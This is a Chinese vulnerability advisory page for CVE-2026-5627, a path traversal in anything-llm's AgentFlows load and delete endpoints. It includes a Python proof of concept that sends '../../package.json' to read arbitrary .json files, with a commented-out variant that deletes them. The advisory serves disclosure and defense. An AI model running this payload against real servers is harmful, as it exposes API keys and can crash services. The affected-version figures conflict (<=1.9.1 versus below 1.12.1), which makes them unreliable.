IPBUF安全漏洞报告
English
CVE-2026-5627 CVSS 7.2 高危

CVE-2026-5627 anything-llm路径遍历漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-5627
漏洞类型
路径遍历
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
mintplex-labs/anything-llm

相关标签

路径遍历anything-llmCVE-2026-5627信息泄露拒绝服务

漏洞概述

mintplex-labs/anything-llm 版本 1.9.1 及之前版本中存在路径遍历漏洞。该漏洞源于 `AgentFlows` 组件对用户输入处理不当,攻击者可利用 `loadFlow` 和 `deleteFlow` 方法绕过目录限制,访问或删除服务器上的任意 `.json` 文件。成功利用此漏洞可能导致敏感信息(如 API 密钥)泄露,或通过删除关键文件(如 `package.json`)导致拒绝服务。

技术细节

漏洞位于 `server/utils/agentFlows/index.js` 文件中。在 `loadFlow` 和 `deleteFlow` 方法中,代码使用了 `path.join` 和 `normalizePath` 的组合来处理文件路径。由于这种特定的路径处理逻辑存在缺陷,未能有效过滤 `../` 等目录遍历字符,攻击者可以通过构造特制的请求参数绕过预期的目录限制。这使得攻击者能够读取或删除 Web 根目录之外的任意 `.json` 文件。由于系统允许读取配置文件,可能导致 API 密钥泄露;同时允许删除关键文件,可能导致应用程序崩溃。

攻击链分析

STEP 1
侦察
攻击者识别出目标运行的是 mintplex-labs/anything-llm 且版本低于 1.12.1。
STEP 2
漏洞利用
攻击者向 `/api/agent-flows/load` 或 `/api/agent-flows/delete` 端点发送包含路径遍历载荷(如 `../../package.json`)的特制 POST 请求。
STEP 3
路径解析
服务器端 `server/utils/agentFlows/index.js` 中的 `path.join` 和 `normalizePath` 逻辑未能过滤遍历字符,导致路径指向预期目录之外。
STEP 4
执行攻击
服务器读取或删除了攻击者指定的文件(如包含敏感信息的配置文件或关键系统文件)。
STEP 5
达成目标
攻击者获取了敏感信息(信息泄露)或导致服务不可用(拒绝服务)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept (PoC) for CVE-2026-5627 # This script demonstrates how to exploit the path traversal to read a sensitive file. import requests target_url = "http://localhost:3000/api/agent-flows/load" headers = {"Content-Type": "application/json"} # Payload to traverse directories and read a .json file (e.g., package.json) payload = { "flowId": "../../package.json" } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! File content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") # Example for deleting a file: # delete_url = "http://localhost:3000/api/agent-flows/delete" # requests.post(delete_url, json=payload, headers=headers)

影响范围

mintplex-labs/anything-llm <= 1.9.1

防御指南

临时缓解措施
如果无法立即升级,请限制对 AgentFlows 相关 API 接口的网络访问权限,仅允许可信的内部网络调用。同时,应严格检查服务器日志,监控是否存在对异常文件路径的访问或删除操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表